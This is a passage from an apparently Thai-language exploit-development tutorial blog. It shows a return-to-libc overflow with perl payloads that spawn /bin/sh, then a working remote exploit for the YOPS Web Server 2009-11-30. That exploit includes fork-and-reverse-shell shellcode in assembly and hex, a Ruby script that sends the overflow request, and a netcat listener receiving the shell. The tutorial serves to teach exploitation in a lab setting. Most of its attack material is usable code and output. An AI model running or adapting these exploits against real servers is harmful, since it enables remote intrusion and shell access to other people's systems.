ก่อนอื่นเรามาดู offset ของค่าต่างๆ ที่สำคัญก่อน ค่าแรกคือ fp ซึ่งต้องเขียนไปก่อน 2050 bytes และ saved eip จะอยู่หลัง fp ไป 12 bytes

ส่วนวิธีจัดการกับปัญหา fclose() ง่ายๆ คือใส่ค่าเดิมลงไป ซึ่งจะเหมือนเดิมทุกครั้งที่รันโปรแกรม เนื่องจากเรายังไม่มีการ enable ASLR (จะกล่าวถึงในหัวข้อถัดไป) ส่วนอีกวิธีคือให้สร้าง FILE struct ปลอมใน buffer แล้วแก้ fp ให้ชี้ไปที่ FILE struct ของเรา (วิธีนี้ผมไม่ทำนะครับ เพราะไม่เกี่ยวกับหัวข้อนี้) ดังนั้นเราต้องหาค่าของ fp ก่อนที่จะโดนเขียนทับก่อน

$ gdb -q ./ex_13_2
(gdb) disass readfile
Dump of assembler code for function readfile:
   0x08048514 <+0>:     push   %ebp
...
   0x080485b8 <+164>:   mov    -0xc(%ebp),%eax
   0x080485bb <+167>:   mov    %eax,(%esp)
   0x080485be <+170>:   call   0x80483f4 <fclose@plt>
   0x080485c3 <+175>:   leave
   0x080485c4 <+176>:   ret
End of assembler dump.
(gdb) b *0x080485be
Breakpoint 1 at 0x80485be
(gdb) r ex_13_1.c
Starting program: /home/worawit/tutz/ch13/ex_13_2 ex_13_1.c

Breakpoint 1, 0x080485be in readfile ()
(gdb) x/x $ebp-0xc
0xbffff6dc:     0x0804a008

เราได้ address มาแล้วคือ 0x0804a008 คราวนี้ลองใหม่

$ perl -e 'print "\xff\x1f","A"x2050,"\x08\xa0\x04\x08","B"x12,"CCCC","DDDD","ARG1","ARG2","ARG3"' > ex_13_2_exp2
$ ./ex_13_2 ex_13_2_expl2
Segmentation fault (core dumped)
$ gdb -q ./ex_13_2 core
...
#0  0x080485c4 in readfile ()   # crash ที่คำสั่ง ret
(gdb) x/8x $esp   # check saved eip และค่าอื่นๆ
0xbffff71c:     0x43434343      0x44444444      0x31475241      0x32475241
0xbffff72c:     0x33475241      0x08048620      0x00000000      0xbffff7b8
(gdb) print execve    # หา address ของ execve ใน libc
$1 = {} 0x1c6040 

ตอนนี้ก็เหลือแค่หา address ของ "/bin/sh" กับ NULL ซึ่งจริงๆ แล้วใน env จะมี "/bin/bash" อยู่แล้ว แต่เราก็สามารถใส่ไว้ใน buffer ก็ได้โดยถ้าเราใส่ '/' นำหน้าเยอะๆ ก็จะทำให้โอกาสที่ argument1 ชี้ไปที่ string ที่เสมือน "/bin/sh" สูงขึ้น โดยผมจะประมาณไว้ที่ 0xbffff5a0 ส่วน NULL ผมจะใช้ address 0x08049f50

$ perl -e 'print "\xff\x1f","/"x1993,"bin/sh\x00","A"x50,"\x08\xa0\x04\x08","B"x12,"\x40\x60\x1c\x00","CCCC","\xa0\xf3\xff\xbf","\x50\x9f\x04\x08"x2' > ex_13_2_expl3
$ ./ex_13_2 ex_13_2_expl3

ก่อนจะจบ ถ้าย้อนกลับไปดูรูปที่ 2 จะเห็นว่า ถ้าเราไม่ใช้ execve แต่ใช้เป็น function อื่น ที่มีการ return ค่า เรายังสามารถควบคุม eip ได้อยู่หลังจากจบ function เพราะ saved eip นั้นได้ถูกเลื่อนลงมา ซึ่งจะนำมาใช้ประโยชน์อะไร ผมจะพูดถึงในหัวข้อหลังจากนี้นะครับ


Reference:
- http://insecure.org/sploits/linux.libc.return.lpr.sploit.html

Saturday, May 14, 2011

ที่ถามคำถาม

เนื่องด้วยใน blog นี้ไม่เหมาะกับการถามตอบข้อสงสัย ผมได้ขอยืมพื้นที่ของ Blackbuntu Board จาก c1ph3r ซึ่งอยู่ในส่วน "Cyber Guide" ถ้าใครสงสัยอะไรก็ไปถามที่นั้นได้นะครับ แต่ขอให้ถามเกี่ยวกับที่ผมเขียนในนี้นะครับ :)

Exploiting YOPS Web Server 2009-11-30 (disable all security options) ต่อ

จากหัวข้อที่แล้ว เราได้ exploit สำหรับ YOPS Web Server 2009-11-30 ที่ต้องทำการ request ปกติก่อนหนึ่งครั้ง แต่จริงๆ แล้วถ้าเราไม่รันโปรแกรมจาก gdb เราไม่จำเป็นต้องส่ง request ปกติก่อน ทั้งนี้เป็นเพราะ gdb ได้เพิ่มค่าต่างๆ ทำให้ memory address ในบาง section ถูกเลื่อน ถ้าใครลองรันโปรแกรมข้างนอก แล้วใช้ gdb attach process จะเห็น exploit สามารถทำงานได้ปกติตั้งแต่ request แรก

ทุกคนคงเห็นแล้วว่า exploit ที่เรามีตอนนี้ยิงได้ครั้งเดียว หลังจากเรา exit shell ที่เราได้ โปรแกรมก็จะจบตามไปด้วย ในหัวข้อนี้เราจะมาลองทำให้ยิงแล้วโปรแกรมไม่ crash และเมื่อออกแล้วโปรแกรมยังสามารถทำงานได้ปกติ แต่เพื่อเป็นการฝึก ผมจะเปลี่ยนการเขียน exploit ที่ใช้ภาษา python เป็น ruby ซึ่งผมก็ไม่เคยเขียนมาก่อนเหมือนกัน และแปลง exploit สุดท้ายจากหัวข้อที่แล้วได้เป็น (ลองฝึกแปลงเองก่อนดีกว่านะ) ex12_yops2_1.rb

โดยส่วนมาก โปรแกรมที่เป็น server บน Linux จะทำการ (pre-)fork ตัวเอง เพื่อจัดการกับ connection ที่ client ต่อเข้ามา แต่เนื่องด้วยโปรแกรมนี้ทำงานแบบ multi-threads มี process เดียว ทำให้เมื่อเราทำโปรแกรม crash หรือออกจาก reverse shell ที่เราได้ทำให้โปรแกรมจบไปด้วย ดังนั้นสิ่งที่เราต้องทำเพื่อให้โปรแกรมทำงานต่อได้หลังจากยิง exploit คือไม่ทำให้โปรแกรม crash (ทำได้แล้ว) และ shellcode เราต้องทำการ fork ก่อนที่จะทำ reverse shell เพื่อไม่ให้ shell เราแทนที่โปรแกรมหลัก นอกจากนี้แล้วเราต้องทำให้โปรแกรมหลักกลับเข้าสู่การทำงานปกติ

การที่เราจะ fork ก็ง่ายนิดเดียว เขียน shellcode ให้ทำการ fork ซึ่ง syscall number คือ 2 โดย process ลูกจะ return ค่า 0 มา ดังนั้น assembly คราวๆ ที่จะได้คือ

# fork()
xorl %eax,%eax
movb $2,%al     # fork syscall number
int  $0x80

test %eax,%eax
jz   child
# parent

child:
# child (our reverse shellcode here)

ในส่วนของ child ก็คือ shellcode เดิมของเรา แต่ส่วนที่เราต้องแก้ปัญหาคือ parent เพราะเราได้ทำการเขียนทับข้อมูลบน stack จนเละไปแล้ว รวมถึงได้เปลี่ยน eip มาอยู่บน stack เพื่อที่จะรัน shellcode ของเรา ดังนั้นสิ่งที่ต้องมีใน shellcode ของเราแน่ๆ คือ jmp กลับไปงานต่อที่ที่เราแก้ saved eip ไป เรามาดูค่าต่างๆ ใน stack ใน swebs_record_log function ก่อน

$ gdb ./swebs
...
(gdb) b swebs_record_log
Breakpoint 1 at 0x804a7d8: file swebs.c, line 545.
(gdb) r
...
Breakpoint 1, swebs_record_log (log=5, job=0x804f198) at swebs.c:545
545             memset(logrec, 0, sizeof(logrec));
(gdb) bt  # ดู call stack
#0  swebs_record_log (log=5, job=0x804f198) at swebs.c:545
#1  0x0804cdf9 in logger_th (arg=0x804e4a8) at main.c:382
#2  0x0014596e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0
#3  0x00226a4e in clone () from /lib/tls/i686/cmov/libc.so.6
(gdb) i f 1    # ดู stack frame ที่เราจะต้องทำให้โปรแกรมกลับไปทำงานต่อ
Stack frame at 0xb7fff3a0:
 eip = 0x804cdf9 in logger_th (main.c:382); saved eip 0x14596e
 called by frame at 0xb7fff4a0, caller of frame at 0xb7fff350
 source language c.
 Arglist at 0xb7fff398, args: arg=0x804e4a8
 Locals at 0xb7fff398, Previous frame s sp is 0xb7fff3a0
 Saved registers:
  ebp at 0xb7fff398, eip at 0xb7fff39c
(gdb) x/24x $ebp   # ดูค่าบน stack สำหรับ logger_th function
0xb7fff348:     0xb7fff398      0x0804cdf9      0x00000005      0x0804f198
0xb7fff358:     0x00000000      0x00000000      0x00000000      0x00000000
0xb7fff368:     0x00000000      0x00000000      0x00000000      0x00000000
0xb7fff378:     0x00000000      0x0804f198      0x0804e4a8      0x00000000
0xb7fff388:     0x00000011      0x00000005      0x00000000      0x00000000
0xb7fff398:     0xb7fff498      0x0014596e      0x0804e4a8      0x00000002

สิ่งที่เราเห็นอย่างแรกคือ โปรแกรมต้องไปทำงานต่อที่ 0x0804cdf9 เมื่อจบ swebs_record_log function และเมื่อดูต่อจะได้ ebp เมื่อกลับไปทำงานที่ logger_th function ต้องเป็น 0xb7fff398 แต่เราได้เห็นจาก exploit ที่เราเขียนกันก่อนหน้านี้ว่า address ของ stack มันไม่แน่ไม่นอน ขึ้นอยู่กับหลายๆ อย่าง ดังนั้นถ้าเราใช้ค่านี้ อาจจะใช้ได้สำหรับเครื่องบางเครื่อง

สิ่งที่เรารู้แน่คือ ค่าของ esp หลังจากคำสั่ง ret ใน swebs_record_log function จะถูกต้องเสมอ (ถ้างงก็ลองไล่ใน gdb ดูนะครับ) โดยสำหรับกรณีนี้คือ 0xb7fff350 และระยะห่างระหว่าง esp กับ ebp จะคงที่คือ ดังนั้นคำสั่ง assembly ที่เราสามารถนำมาใช้เพื่อแก้ ebp ให้เป็นปกติคือ 0xb7fff398 - 0xb7fff350 = 0x48

lea  0x48(%esp),%ebp

ต่อไปคือ การเปลี่ยน eip กับไปที่เดิมคือ 0x0804cdf9 โดยเราสามารถใส่คำสั่ง jmp ไปตรงๆ ได้เลย แต่ผมไม่ชอบวิธีนี้ เพราะว่าถ้า address ของ code เปลี่ยน เราจะแก้ลำบาก ซึ่งวิธีของผมคือใช้

jmp  (%esp)

เนื่องด้วยหลังจากจบ swebs_record_log function ด้วยคำสั่ง ret ค่าของ esp จะชี้ไปที่ argument แรกคือ log argument ซึ่งตอนนี้เราเขียนค่าขยะลงไป ดังนั้นถ้าเราเปลี่ยนเป็น address ที่เราต้องการกลับไปทำงานต่อ เราสามารถใช้คำสั่ง "jmp (%esp)"

สิ่งที่ต้องระวังอีกอย่างคือ เราต้องไม่ไปเขียนทับตัวแปรของ logger_th function และ exploit ต้องมีการเขียนเกินอยู่แล้วด้วย ซึ่งโชคดีที่มีพื้นที่อยู่พอสมควรหลังจาก job argument (ดูจากจำนวน 0x00000000) แต่เพื่อให้ปลอดภัยมากขึ้นเวลา request ผมจะไม่ใส่ " HTTP/1.0" เพื่อที่จะให้มีการเขียนต่อท้ายน้อยลง

สิ่งสุดท้ายที่จะต้อง check คือในบาง function จะมีการ save ค่า register ไว้ก่อนใน stack แล้วแก้ค่ากลับก่อนจบ function เพื่อให้ function ที่เรียกมันใช้ค่าใน register ได้เลย ซึ่งเมื่อเราดูที่ swebs_record_log function จะได้

$ objdump -d -j .text swebs | awk /^.*swebs_record_log\>:$/,/^$/
0804a7cc <swebs_record_log>:
 804a7cc:       55                      push   %ebp
 804a7cd:       89 e5                   mov    %esp,%ebp
 804a7cf:       57                      push   %edi
 804a7d0:       56                      push   %esi
 804a7d1:       53                      push   %ebx
...
 804a96f:       5b                      pop    %ebx
 804a970:       5e                      pop    %esi
 804a971:       5f                      pop    %edi
 804a972:       5d                      pop    %ebp
 804a973:       c3                      ret

จะเห็นว่ามีการ save ค่า edi, esi และ ebx และเมื่อเรา check ที่ function ที่เรียกคือ logger_th function ตามคำสั่งข้างล่างจะเห็นว่าไม่พบมีการใช้ register พวกนี้เลย ดังนั้นเราสามารถเขียนทับค่าพวกนี้ได้ตามใจชอบ

$ objdump -d -j .text swebs | awk /^.*logger_th\>:$/,/^$/ | grep -e ebx -e esi -e edi
$

ดังนั้น shellcode ของเราตอนนี้จะเป็น

lea  0x48(%esp),%ebp # fixed up ebp
jmp  (%esp)

ซึ่งเมื่อ build ออกมาจะได้

\x8d\x6c\x24\x48\xff\x24\x24

หลังจากได้ทุกอย่างพร้อมแล้ว เราก็มาทดสอบทำให้โปรแกรมทำงานต่อไปได้โดยไม่ crash ก่อน โดยยังไม่มีการทำ fork และ reverse shell จะได้ code เป็น (ex12_yops2_2.rb)

require 'socket'

target_ip = "127.0.0.1"
target_port = 8888
def send_request(ip, port, request)
    s = TCPSocket.open(ip, port)
    s.write(request)
    msg = s.recv(8192)
    s.close()
    return msg
end

my_pub_ip = "127.0.0.1"
offset_no_ip = 828
offset = offset_no_ip - my_pub_ip.length
job_addr = 0x0804d0c9 - 0x1024
sc_addr = 0xb7fff080

sc = "\x8d\x6c\x24\x48\xff\x24\x24"

space = 700 # estimate
payload = "\x90"*(space - sc.length) + sc
cont_eip = 0x0804cdf9

page = payload+"A"*(offset-payload.length)+[sc_addr, cont_eip, job_addr].pack('VVV')
print send_request(target_ip, target_port, "GET "+page+"\r\n\r\n")

ด้วย exploit นี้เราทำให้เกิด buffer overflow แล้วทำให้โปรแกรมกลับไปทำงานตามปกติ ซึ่งเมื่อทดสอบจะเห็นว่าเรายิงกี่ครั้งก็ได้ โปรแกรมก็ยังสามารถทำงานต่อไปได้

เมื่อทดสอบให้โปรแกรมทำงานต่อได้แล้ว เรามาเขียน shellcode แบบที่เราต้องการคือ fork แล้วทำ reverse shell ที่ child process ส่วน parent process ก็ให้ทำงานปกติต่อไป ซึ่งจะได้เป็น (ex12_yops2_sc.s)

.data
.text
.globl _start

_start:
# fork()
xorl %eax,%eax   # set eax to 0 with xor
movb $2,%al     # fork syscall number
int  $0x80

test %eax,%eax
jz   child
lea  0x48(%esp),%ebp # fixed up ebp
jmp  *(%esp)

child:
inc  %eax      # to be replace with real shellcode
$ build-sc.sh ex12_yops2_sc.s
Compiling ex12_yops2_sc.s to ex12_yops2_sc.o

Extracting shellcode from ex12_yops2_sc.o to ex12_yops2_sc.sc
\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x74\x07\x8d\x6c\x24\x48\xff\x24\x24\x40

Creating ex12_yops2_sc.sctest.c

Compiling ex12_yops2_sc.sctest.c to ex12_yops2_sc.sctest

สุดท้ายเมื่อเราเปลี่ยน shellcode ใน exploit เดิม (ex12_yops2.rb) เราจะสามารถยิงกี่ครั้งก็ได้

$ nc -nvl 4444
Connection from 127.0.0.1 port 4444 [tcp/*] accepted
id
uid=1000(worawit) gid=1000(worawit) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(worawit)